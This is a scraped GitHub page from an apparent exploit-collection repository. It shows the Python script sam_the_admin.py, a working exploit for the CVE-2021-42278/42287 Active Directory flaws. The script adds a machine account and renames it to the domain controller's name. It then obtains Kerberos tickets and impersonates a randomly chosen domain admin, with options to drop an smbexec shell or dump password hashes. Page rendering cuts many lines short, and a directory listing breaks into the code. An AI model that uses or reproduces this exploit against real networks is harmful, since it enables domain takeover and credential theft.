Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

helloexp / 0day Public

Notifications Fork 808 Star 2k

Code Issues 4 Pull requests Discussions Actions Projects Wiki Security Insights

Files

614227a

Go to file

- .github
- 00-CVE_EXP
  - CVE-2012-0053
  - CVE-2014-0160--OpenSSL心脏...
  - CVE-2015-1635
  - CVE-2017-11882
  - CVE-2017-16995 Ubuntu 16.0...
  - CVE-2017-17215
  - CVE-2018-2628 weblogic 反序...
  - CVE-2018-2628-master
  - CVE-2018-5711-hanging-websi...
  - CVE-2019-0623
  - CVE-2019-0708--能够使用exp
  - CVE-2019-0803
  - CVE-2019-0808
  - CVE-2019-10758--Mongo expr...
  - CVE-2019-1096
  - CVE-2019-1132
  - CVE-2019-13272
  - CVE-2019-1388
  - CVE-2019-1458
  - CVE-2019-18634
  - CVE-2019-2618 弱口令&任意...
  - CVE-2019-9730
  - CVE-2020-0668
  - CVE-2020-0683
  - CVE-2020-0787
  - CVE-2020-0796
  - CVE-2020-1015
  - CVE-2020-1034
  - CVE-2020-1054
  - CVE-2020-1066
  - CVE-2020-1313
  - CVE-2020-1337
  - CVE-2020-1472
  - CVE-2020-14882 weblogic RCE...

0day / 00-CVE_EXP / CVE-2021-42287 / sam-the-admin / sam_the_admin.py

helloexp add several 2021 cve 5940ce2 · 2 years ago History

Code Blame 200 lines (154 loc) · 8.05 KB Raw

```python
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials


import argparse
import logging
import sys
import string
import random
import ssl
import os
from binascii import unhexlify
import ldapdomaindump
import ldap3
import time

from utils.helper import *
from utils.addcomputer import AddComputerSAMR
from utils.S4U2self import GETST

characters = list(string.ascii_letters + string.digits + "!@#$%^&*()")


def samtheadmin(username, password, domain, options):
    new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$"
    new_computer_password = ''.join(random.choice(characters) for _ in range(12))

    domain, username, password, lmhash, nthash = parse_identity(options)
    ldap_server, ldap_session = init_ldap_session(options, domain, username, password,

    cnf = ldapdomaindump.domainDumpConfig()
    cnf.basepath = None
    domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
    MachineAccountQuota = 10
    for i in domain_dumper.getDomainPolicy():
        MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota']))
    rootsid = domain_dumper.getRootSid()
    dcinfo = get_dc_host(ldap_session, domain_dumper)
    if not len(dcinfo['name']):
        logging.critical("Cannot get domain info")
        exit()
    dc_host = dcinfo['name'][0].lower()
    dcfull = dcinfo['dNSHostName'][0].lower()
    logging.info(f'Selected Target {dcfull}')
    domainAdmins = get_domain_admins(ldap_session, domain_dumper)
    random_domain_admin = random.choice(domainAdmins)
    logging.info(f'Total Domain Admins {len(domainAdmins)}')
    logging.info(f'will try to impersonat {random_domain_admin}')

    # udata = get_user_info(username, ldap_session, domain_dumper)
    if MachineAccountQuota < 0:
        logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQu
```

- CVE-2020-14883 未授权访问
- CVE-2020-16040
- CVE-2020-16898
- CVE-2020-16938
- CVE-2020-2551
- CVE-2020-28018

```
        logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQu
        exit()
    else:
        logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}')

    logging.info(f'Adding Computer Account "{new_computer_name}"')
    logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_passwo


    # Creating Machine Account
    addmachineaccount = AddComputerSAMR(
        username,
        password,
        domain,
        options,
        computer_name=new_computer_name,
        computer_pass=new_computer_password)
    addmachineaccount.run()


    # CVE-2021-42278
    new_machine_dn = None
    dn = get_user_info(new_computer_name, ldap_session, domain_dumper)
    if dn:
        new_machine_dn = str(dn['dn'])
        logging.info(f'{new_computer_name} object = {new_machine_dn}')

    if new_machine_dn:
        ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [
        if ldap_session.result['result'] == 0:
            logging.info(f'{new_computer_name} sAMAccountName == {dc_host}')
        else:
            logging.error('Cannot rename the machine account , target patched')
            exit()


    # Getting a ticket
    getting_tgt = GETTGT(dc_host, new_computer_password, domain, options)
    getting_tgt.run()
    dcticket = str(dc_host + '.ccache')


    # Restoring Old Values
    logging.info(f"Resting the machine account to {new_computer_name}")
    dn = get_user_info(dc_host, ldap_session, domain_dumper)
    ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_c
    if ldap_session.result['result'] == 0:
        logging.info(f'Restored {new_computer_name} sAMAccountName to original value')
    else:
        logging.error('Cannot restore the old name lol')



    os.environ["KRB5CCNAME"] = dcticket
    executer = GETST(None, None, domain, options,
        impersonate_target=random_domain_admin,
        target_spn=f"cifs/{dcfull}")
    executer.run()


    adminticket = str(random_domain_admin + '.ccache')
    os.environ["KRB5CCNAME"] = adminticket








    os.system("rm *.ccache")


if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print((version.BANNER))

    parser = argparse.ArgumentParser(add_help = True, description = "SAM THE ADMIN CVE-

    parser.add_argument('account', action='store', metavar='[domain/]username[:password
    parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help=
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec')
    parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump'

    parser.add_argument('-port', type=int, choices=[139, 445, 636],
                       help='Destination port to connect to. SAMR defaults to 445, LDAP

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Gr
                                                    '(KRB5CCNAME) based on account p
                                                    'cannot be found, it will use th
                                                    'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to
                                                                             '(128 or 25
    group.add_argument('-dc-host', action='store',metavar = "hostname",  help='Hostname
                                                                               'If ommit
                                                                               'specifie
    group.add_argument('-dc-ip', action='store',metavar = "ip",  help='IP of the domain
                                                                       'Useful if you ca
                                                                       'specified in the
    parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of L




    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password = parse_credentials(options.account)

    try:
        if domain is None or domain == '':
            logging.critical('Domain should be specified!')
            sys.exit(1)

        if password == '' and username != '' and options.hashes is None and options.no_
            from getpass import getpass
            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True


        samtheadmin(username, password, domain, options)
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        print(str(e))
```